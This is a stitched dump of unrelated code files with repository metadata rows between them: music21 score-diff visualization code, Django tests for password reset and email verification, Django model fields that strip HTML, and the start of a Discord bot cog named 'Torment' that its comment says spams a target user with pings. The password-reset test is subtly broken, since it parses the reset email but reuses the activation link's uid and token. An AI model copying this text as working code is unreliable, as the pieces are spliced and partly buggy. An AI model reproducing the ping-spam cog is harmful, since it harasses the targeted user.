Visualization.INSERTED_COLOR ) # this apparently does nothing textExp = m21.expressions.TextExpression("increased flags") textExp.style.color = Visualization.INSERTED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "delbeam": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the modified note in both scores using Visualization.DELETED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.DELETED_COLOR if hasattr(note1, "beams"): for beam in note1.beams: beam.style.color = ( Visualization.DELETED_COLOR ) # this apparently does nothing textExp = m21.expressions.TextExpression("decreased flags") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.DELETED_COLOR if hasattr(note2, "beams"): for beam in note2.beams: beam.style.color = ( Visualization.DELETED_COLOR ) # this apparently does nothing textExp = m21.expressions.TextExpression("decreased flags") textExp.style.color = Visualization.DELETED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "editbeam": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the changed beam (in both scores) using Visualization.CHANGED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR if hasattr(note1, "beams"): for beam in note1.beams: beam.style.color = ( Visualization.CHANGED_COLOR ) # this apparently does nothing textExp = m21.expressions.TextExpression("changed flags") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR if hasattr(note2, "beams"): for beam in note2.beams: beam.style.color = ( Visualization.CHANGED_COLOR ) # this apparently does nothing textExp = m21.expressions.TextExpression("changed flags") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "editnoteshape": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed note shape") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed note shape") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "editnoteheadfill": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed note head fill") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed note head fill") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "editnoteheadparenthesis": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed note head paren") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed note head paren") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "editstemdirection": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed stem direction") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed stem direction") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "editstyle": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) sd1 = op[1].styledict sd2 = op[2].styledict changedStr: str = "" for k1, v1 in sd1.items(): if k1 not in sd2 or sd2[k1] != v1: if changedStr: changedStr += "," changedStr += k1 # one last thing: check for keys in sd2 that aren't in sd1 for k2 in sd2: if k2 not in sd1: if changedStr: changedStr += "," changedStr += k2 note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression(f"changed note {changedStr}") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression(f"changed note {changedStr}") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) # accident elif op[0] == "accidentins": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) assert len(op) == 5 # the indices must be there # color the modified note in both scores using Visualization.INSERTED_COLOR chord1 = score1.recurse().getElementById(op[1].general_note) note1 = chord1 if "Chord" in note1.classes: # color only the indexed note's accidental in the chord idx = op[4][0] note1 = note1.notes[idx] if note1.pitch.accidental: note1.pitch.accidental.style.color = Visualization.INSERTED_COLOR note1.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted accidental") textExp.style.color = Visualization.INSERTED_COLOR if note1.activeSite is not None: note1.activeSite.insert(note1.offset, textExp) else: chord1.activeSite.insert(chord1.offset, textExp) chord2 = score2.recurse().getElementById(op[2].general_note) note2 = chord2 if "Chord" in note2.classes: # color only the indexed note's accidental in the chord idx = op[4][1] note2 = note2.notes[idx] if note2.pitch.accidental: note2.pitch.accidental.style.color = Visualization.INSERTED_COLOR note2.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted accidental") textExp.style.color = Visualization.INSERTED_COLOR if note2.activeSite is not None: note2.activeSite.insert(note2.offset, textExp) else: chord2.activeSite.insert(chord2.offset, textExp) elif op[0] == "accidentdel": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) assert len(op) == 5 # the indices must be there # color the modified note in both scores using Visualization.DELETED_COLOR chord1 = score1.recurse().getElementById(op[1].general_note) note1 = chord1 if "Chord" in note1.classes: # color only the indexed note's accidental in the chord idx = op[4][0] note1 = note1.notes[idx] if note1.pitch.accidental: note1.pitch.accidental.style.color = Visualization.DELETED_COLOR note1.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted accidental") textExp.style.color = Visualization.DELETED_COLOR if note1.activeSite is not None: note1.activeSite.insert(note1.offset, textExp) else: chord1.activeSite.insert(chord1.offset, textExp) chord2 = score2.recurse().getElementById(op[2].general_note) note2 = chord2 if "Chord" in note2.classes: # color only the indexed note's accidental in the chord idx = op[4][1] note2 = note2.notes[idx] if note2.pitch.accidental: note2.pitch.accidental.style.color = Visualization.DELETED_COLOR note2.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted accidental") textExp.style.color = Visualization.DELETED_COLOR if note2.activeSite is not None: note2.activeSite.insert(note2.offset, textExp) else: chord2.activeSite.insert(chord2.offset, textExp) elif op[0] == "accidentedit": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) assert len(op) == 5 # the indices must be there # color the changed accidental (in both scores) using Visualization.CHANGED_COLOR chord1 = score1.recurse().getElementById(op[1].general_note) note1 = chord1 if "Chord" in note1.classes: # color just the indexed note in the chord idx = op[4][0] note1 = note1.notes[idx] if note1.pitch.accidental: note1.pitch.accidental.style.color = Visualization.CHANGED_COLOR note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed accidental") textExp.style.color = Visualization.CHANGED_COLOR if note1.activeSite is not None: note1.activeSite.insert(note1.offset, textExp) else: chord1.activeSite.insert(chord1.offset, textExp) chord2 = score2.recurse().getElementById(op[2].general_note) note2 = chord2 if "Chord" in note2.classes: # color just the indexed note in the chord idx = op[4][1] note2 = note2.notes[idx] if note2.pitch.accidental: note2.pitch.accidental.style.color = Visualization.CHANGED_COLOR note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed accidental") textExp.style.color = Visualization.CHANGED_COLOR if note2.activeSite is not None: note2.activeSite.insert(note2.offset, textExp) else: chord2.activeSite.insert(chord2.offset, textExp) elif op[0] == "dotins": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # In music21, the dots are not separately colorable from the note, # so we will just color the modified note here in both scores, using Visualization.CHANGED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("inserted dot") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("inserted dot") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "dotdel": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # In music21, the dots are not separately colorable from the note, # so we will just color the modified note here in both scores, using Visualization.CHANGED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("deleted dot") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("deleted dot") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) # tuplets elif op[0] == "instuplet": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("inserted tuplet") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("inserted tuplet") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "deltuplet": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("deleted tuplet") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("deleted tuplet") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "edittuplet": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed tuplet") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed tuplet") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) # ties elif op[0] == "tieins": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) assert len(op) == 5 # the indices must be there # Color the modified note here in both scores, using Visualization.INSERTED_COLOR chord1 = score1.recurse().getElementById(op[1].general_note) note1 = chord1 if "Chord" in note1.classes: # color just the indexed note in the chord idx = op[4][0] note1 = note1.notes[idx] note1.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted tie") textExp.style.color = Visualization.INSERTED_COLOR if note1.activeSite is not None: note1.activeSite.insert(note1.offset, textExp) else: chord1.activeSite.insert(chord1.offset, textExp) chord2 = score2.recurse().getElementById(op[2].general_note) note2 = chord2 if "Chord" in note2.classes: # color just the indexed note in the chord idx = op[4][1] note2 = note2.notes[idx] note2.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted tie") textExp.style.color = Visualization.INSERTED_COLOR if note2.activeSite is not None: note2.activeSite.insert(note2.offset, textExp) else: chord2.activeSite.insert(chord2.offset, textExp) elif op[0] == "tiedel": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) assert len(op) == 5 # the indices must be there # Color the modified note in both scores, using Visualization.DELETED_COLOR chord1 = score1.recurse().getElementById(op[1].general_note) note1 = chord1 if "Chord" in note1.classes: # color just the indexed note in the chord idx = op[4][0] note1 = note1.notes[idx] note1.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted tie") textExp.style.color = Visualization.DELETED_COLOR if note1.activeSite is not None: note1.activeSite.insert(note1.offset, textExp) else: chord1.activeSite.insert(chord1.offset, textExp) chord2 = score2.recurse().getElementById(op[2].general_note) note2 = chord2 if "Chord" in note2.classes: # color just the indexed note in the chord idx = op[4][1] note2 = note2.notes[idx] note2.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted tie") textExp.style.color = Visualization.DELETED_COLOR if note2.activeSite is not None: note2.activeSite.insert(note2.offset, textExp) else: chord2.activeSite.insert(chord2.offset, textExp) # expressions elif op[0] == "insexpression": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the note in both scores using Visualization.INSERTED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted expression") textExp.style.color = Visualization.INSERTED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted expression") textExp.style.color = Visualization.INSERTED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "delexpression": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the deleted expression in score1 using Visualization.DELETED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted expression") textExp.style.color = Visualization.DELETED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted expression") textExp.style.color = Visualization.DELETED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "editexpression": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the changed beam (in both scores) using Visualization.CHANGED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed expression") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed expression") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) # articulations elif op[0] == "insarticulation": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the modified note in both scores using Visualization.INSERTED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted articulation") textExp.style.color = Visualization.INSERTED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted articulation") textExp.style.color = Visualization.INSERTED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "delarticulation": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the modified note in both scores using Visualization.DELETED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted articulation") textExp.style.color = Visualization.DELETED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted articulation") textExp.style.color = Visualization.DELETED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "editarticulation": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the modified note (in both scores) using Visualization.CHANGED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed articulation") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed articulation") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) # lyrics elif op[0] == "inslyric": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the modified note in both scores using Visualization.INSERTED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted lyric") textExp.style.color = Visualization.INSERTED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression("inserted lyric") textExp.style.color = Visualization.INSERTED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "dellyric": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the modified note in both scores using Visualization.DELETED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted lyric") textExp.style.color = Visualization.DELETED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression("deleted lyric") textExp.style.color = Visualization.DELETED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "editlyric": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the modified note (in both scores) using Visualization.CHANGED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed lyric") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed lyric") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) else: print(f"Annotation type {op[0]} not yet supported for visualization", file=sys.stderr) @staticmethod def show_diffs(score1: m21.stream.Score, score2: m21.stream.Score, out_path1: Union[str, Path] = None, out_path2: Union[str, Path] = None): """ Render two (presumably marked-up) music21 scores. If both out_path1 and out_path2 are not None, save the rendered PDFs at those two locations, otherwise just display them using the default PDF viewer on the system. Args: score1 (music21.stream.Score): The first score to render score2 (music21.stream.Score): The second score to render out_path1 (str, Path): Where to save the first marked-up rendered score PDF. If out_path1 is None, both PDFs will be displayed in the default PDF viewer. (default is None) out_path2 (str, Path): Where to save the second marked-up rendered score PDF. If out_path2 is None, both PDFs will be displayed in the default PDF viewer. (default is None) """ # display the two (presumably annotated) scores originalComposer1: str = None originalComposer2: str = None if score1.metadata is None: score1.metadata = m21.metadata.Metadata() if score2.metadata is None: score2.metadata = m21.metadata.Metadata() originalComposer1 = score1.metadata.composer if originalComposer1 is None: score1.metadata.composer = "score1" else: score1.metadata.composer = "score1 " + originalComposer1 originalComposer2 = score2.metadata.composer if originalComposer2 is None: score2.metadata.composer = "score2" else: score2.metadata.composer = "score2 " + originalComposer2 #save files if requested if (out_path1 is not None) and (out_path2 is not None): score1.write("musicxml.pdf", makeNotation=False, fp=out_path1) score2.write("musicxml.pdf", makeNotation=False, fp=out_path2) print(f"Annotated scores saved in {out_path1} and {out_path2}.", file=sys.stderr) else: # just display the scores score1.show("musicxml.pdf", makeNotation=False) score2.show("musicxml.pdf", makeNotation=False)

53.738

114

0.579255

5,184

53,738

5.948881

0.059799

0.051882

0.119329

0.080742

0.896138

0.874218

0.856253

0.840267

0.817147

0.79834

0

0.033457

0.334233

53,738

999

115

53.791792

0.828521

0.117905

0

0.805096

0

0.050772

0.000491

0

0.109554

1

0.002548

false

0

0.006369

0

0.014013

0.002548

0

null

0

1

0

1

0

null

0

7

0ee28ce4c1f2b1d085757948df3bd879e23a3db1

7,917

py

Python

backend/apps/accounts/tests.py

mortendaehli/django-react-boilerplate

09687e5810acacf822602b7c7ae2892f27a0e7f2

[ "MIT" ]

null

backend/apps/accounts/tests.py

mortendaehli/django-react-boilerplate

09687e5810acacf822602b7c7ae2892f27a0e7f2

[ "MIT" ]

null

backend/apps/accounts/tests.py

mortendaehli/django-react-boilerplate

09687e5810acacf822602b7c7ae2892f27a0e7f2

[ "MIT" ]

null

from django.core import mail from rest_framework import status from rest_framework.test import APITestCase class PasswordResetTest(APITestCase): register_url = "/api/v1/users/" activate_url = "/api/v1/users/activation/" login_url = "/api/v1/token/login/" send_reset_password_email_url = "/api/v1/users/reset_password/" confirm_reset_password_url = "/api/v1/users/reset_password_confirm/" user_data = { "email": "test@example.com", "username": "test_user", "password": "verysecret" } login_data = { "email": "test@example.com", "password": "verysecret" } def test_reset_password(self): response = self.client.post(self.register_url, self.user_data, format="json") self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(len(mail.outbox), 1) # parse email to get uid and token email_lines = mail.outbox[0].body.splitlines() activation_link = [l for l in email_lines if "/activate/" in l][0] uid, token = activation_link.split("/")[-2:] # verify email data = {"uid": uid, "token": token} response = self.client.post(self.activate_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) # reset password data = {"email": self.user_data["email"]} response = self.client.post(self.send_reset_password_email_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) # parse reset-password email to get uid and token it is a second email! email_lines = mail.outbox[1].body.splitlines() uid, token = activation_link.split("/")[-2:] # confirm reset password data = {"uid": uid, "token": token, "new_password": "new_verysecret"} response = self.client.post(self.confirm_reset_password_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) # login to get the authentication token with old password response = self.client.post(self.login_url, self.login_data, format="json") self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) # login to get the authentication token with new password login_data = dict(self.login_data) login_data["password"] = "new_verysecret" response = self.client.post(self.login_url, login_data, format="json") self.assertEqual(response.status_code, status.HTTP_200_OK) def test_reset_password_inactive_user(self): # register the new user response = self.client.post(self.register_url, self.user_data, format="json") self.assertEqual(response.status_code, status.HTTP_201_CREATED) # reset password for inactive user data = {"email": self.user_data["email"]} response = self.client.post(self.send_reset_password_email_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(len(mail.outbox), 1) # the email wasnt send def test_reset_password_wrong_email(self): data = {"email": "wrong@email.com"} response = self.client.post(self.send_reset_password_email_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(len(mail.outbox), 0) # the email wasnt send class EmailVerificationTest(APITestCase): register_url = "/api/v1/users/" activate_url = "/api/v1/users/activation/" resend_verification_url = "/api/v1/users/resend_activation/" login_url = "/api/v1/token/login/" user_details_url = "/api/v1/users/" user_data = { "email": "test@example.com", "username": "test_user", "password": "verysecret" } login_data = { "email": "test@example.com", "password": "verysecret" } def test_register_with_email_verification(self): response = self.client.post(self.register_url, self.user_data, format="json") self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(len(mail.outbox), 1) # parse email to get uid and token email_lines = mail.outbox[0].body.splitlines() activation_link = [l for l in email_lines if "/activate/" in l][0] uid, token = activation_link.split("/")[-2:] # verify email data = {"uid": uid, "token": token} response = self.client.post(self.activate_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) # login to get the authentication token response = self.client.post(self.login_url, self.login_data, format="json") self.assertTrue("auth_token" in response.json()) token = response.json()["auth_token"] # set token in the header self.client.credentials(HTTP_AUTHORIZATION='Token ' + token) response = self.client.get(self.user_details_url, format="json") self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(response.json()), 1) self.assertEqual(response.json()[0]["email"], self.user_data["email"]) self.assertEqual(response.json()[0]["username"], self.user_data["username"]) def test_register_resend_verification(self): response = self.client.post(self.register_url, self.user_data, format="json") self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(len(mail.outbox), 1) # login to get the authentication token response = self.client.post(self.login_url, self.login_data, format="json") self.assertTrue("auth_token" in response.json()) token = response.json()["auth_token"] # set token in the header self.client.credentials(HTTP_AUTHORIZATION='Token ' + token) response = self.client.get(self.user_details_url, format="json") self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) # clear the auth_token in header self.client.credentials() data = {"email": self.user_data["email"]} response = self.client.post(self.resend_verification_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) # there should be two emails in the outbox self.assertEqual(len(mail.outbox), 2) # parse the last email email_lines = mail.outbox[1].body.splitlines() activation_link = [l for l in email_lines if "/activate/" in l][0] uid, token = activation_link.split("/")[-2:] # verify the email data = {"uid": uid, "token": token} response = self.client.post(self.activate_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) # email verified def test_resend_verification_wrong_email(self): response = self.client.post(self.register_url, self.user_data, format="json") self.assertEqual(response.status_code, status.HTTP_201_CREATED) # resend the verification email but with WRONG email data = {"email": self.user_data["email"] + "_this_email_is_wrong"} response = self.client.post(self.resend_verification_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_activate_with_wrong_uid_token(self): response = self.client.post(self.register_url, self.user_data, format="json") self.assertEqual(response.status_code, status.HTTP_201_CREATED) # verify the email with wrong data data = {"uid": "wrong-uid", "token": "wrong-token"} response = self.client.post(self.activate_url, data, format="json") self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)

45.24

92

0.679045

1,018

7,917

5.074656

0.105108

0.084204

0.076655

0.085172

0.818235

0.789586

0.774874

0.741967

0.710995

0

0.01422

0.200581

7,917

175

93

45.24

0.802022

0.093596

0

0.710744

0

0.112975

0.020694

0

0.256198

1

0.057851

false

0.132231

0.024793

0

0.214876

0

null

0

1

0

1

0

null

0

1

0

8

0ee729eb61cb183ad66176da31d9c1eab47c4e27

925

py

Python

jutil/modelfields.py

bachvtuan/django-jutil

b618d53e37b17dc19b9c43d86a7883a4dbf67634

[ "MIT" ]

null

jutil/modelfields.py

bachvtuan/django-jutil

b618d53e37b17dc19b9c43d86a7883a4dbf67634

[ "MIT" ]

null

jutil/modelfields.py

bachvtuan/django-jutil

b618d53e37b17dc19b9c43d86a7883a4dbf67634

[ "MIT" ]

null

from typing import Any from django.db import models from django.utils.html import strip_tags class SafeCharField(models.CharField): """ CharField which strips HTML tags from form data on save. """ _pyi_private_set_type: str # for mypy_django_plugin _pyi_private_get_type: str # for mypy_django_plugin _pyi_lookup_exact_type: Any # for mypy_django_plugin def save_form_data(self, instance, data): setattr(instance, self.name, strip_tags(str(data)) if data else data) class SafeTextField(models.TextField): """ TextField which strips HTML tags from form data on save. """ _pyi_private_set_type: str # for mypy_django_plugin _pyi_private_get_type: str # for mypy_django_plugin _pyi_lookup_exact_type: Any # for mypy_django_plugin def save_form_data(self, instance, data): setattr(instance, self.name, strip_tags(str(data)) if data else data)

30.833333

77

0.737297

136

925

4.698529

0.294118

0.065728

0.122066

0.178404

0.748044

0

0.192432

925

29

78

31.896552

0.855422

0.272432

0

0.666667

0

1

0.133333

false

0

0.2

0

0.866667

0

null

0

1

0

1

0

null

0

1

0

7

0ee80ca4bb178efea5d91eb26a5f47dcc3bb808e

12,574

py

Python

Cogs/Torment.py

skylarr1227/CorpBot.py

a6b4de2ff127320085411dd478e923c02d5e9f57

[ "MIT" ]

null

Cogs/Torment.py

skylarr1227/CorpBot.py

a6b4de2ff127320085411dd478e923c02d5e9f57

[ "MIT" ]

null

Cogs/Torment.py

skylarr1227/CorpBot.py

a6b4de2ff127320085411dd478e923c02d5e9f57

[ "MIT" ]

null

import asyncio import discord import os from datetime import datetime from discord.ext import commands from Cogs import DisplayName def setup(bot): # Add the bot and deps settings = bot.get_cog("Settings") bot.add_cog(Torment(bot, settings)) # This is the Torment module. It spams the target with pings for awhile class Torment(commands.Cog): # Init with the bot reference, and a reference to the settings var def __init__(self, bot, settings): self.bot = bot self.waitBetween = 1 # number of seconds to wait before sending another message self.settings = settings self.toTorment = False @commands.command(pass_context=True, hidden=True) async def tormentdelay(self, ctx, delay : int = None): """Sets the delay in seconds between messages (owner only).""" channel = ctx.message.channel author = ctx.message.author server = ctx.message.guild # Only allow owner to change server stats isOwner = self.settings.isOwner(ctx.author) if isOwner == None: return elif isOwner == False: return if delay == None: if self.waitBetween == 1: await ctx.message.author.send('Current torment delay is *1 second.*') else: await ctx.message.author.send('Current torment delay is *{} seconds.*'.format(self.waitBetween)) return try: delay = int(delay) except Exception: await ctx.message.author.send('Delay must be an int.') return if delay < 1: await ctx.message.author.send('Delay must be at least *1 second*.') return self.waitBetween = delay if self.waitBetween == 1: await ctx.message.author.send('Current torment delay is now *1 second.*') else: await ctx.message.author.send('Current torment delay is now *{} seconds.*'.format(self.waitBetween)) @commands.command(pass_context=True, hidden=True) async def canceltorment(self, ctx): """Cancels tormenting if it's in progress - must be false when next torment attempt starts to work (owner only).""" channel = ctx.message.channel author = ctx.message.author server = 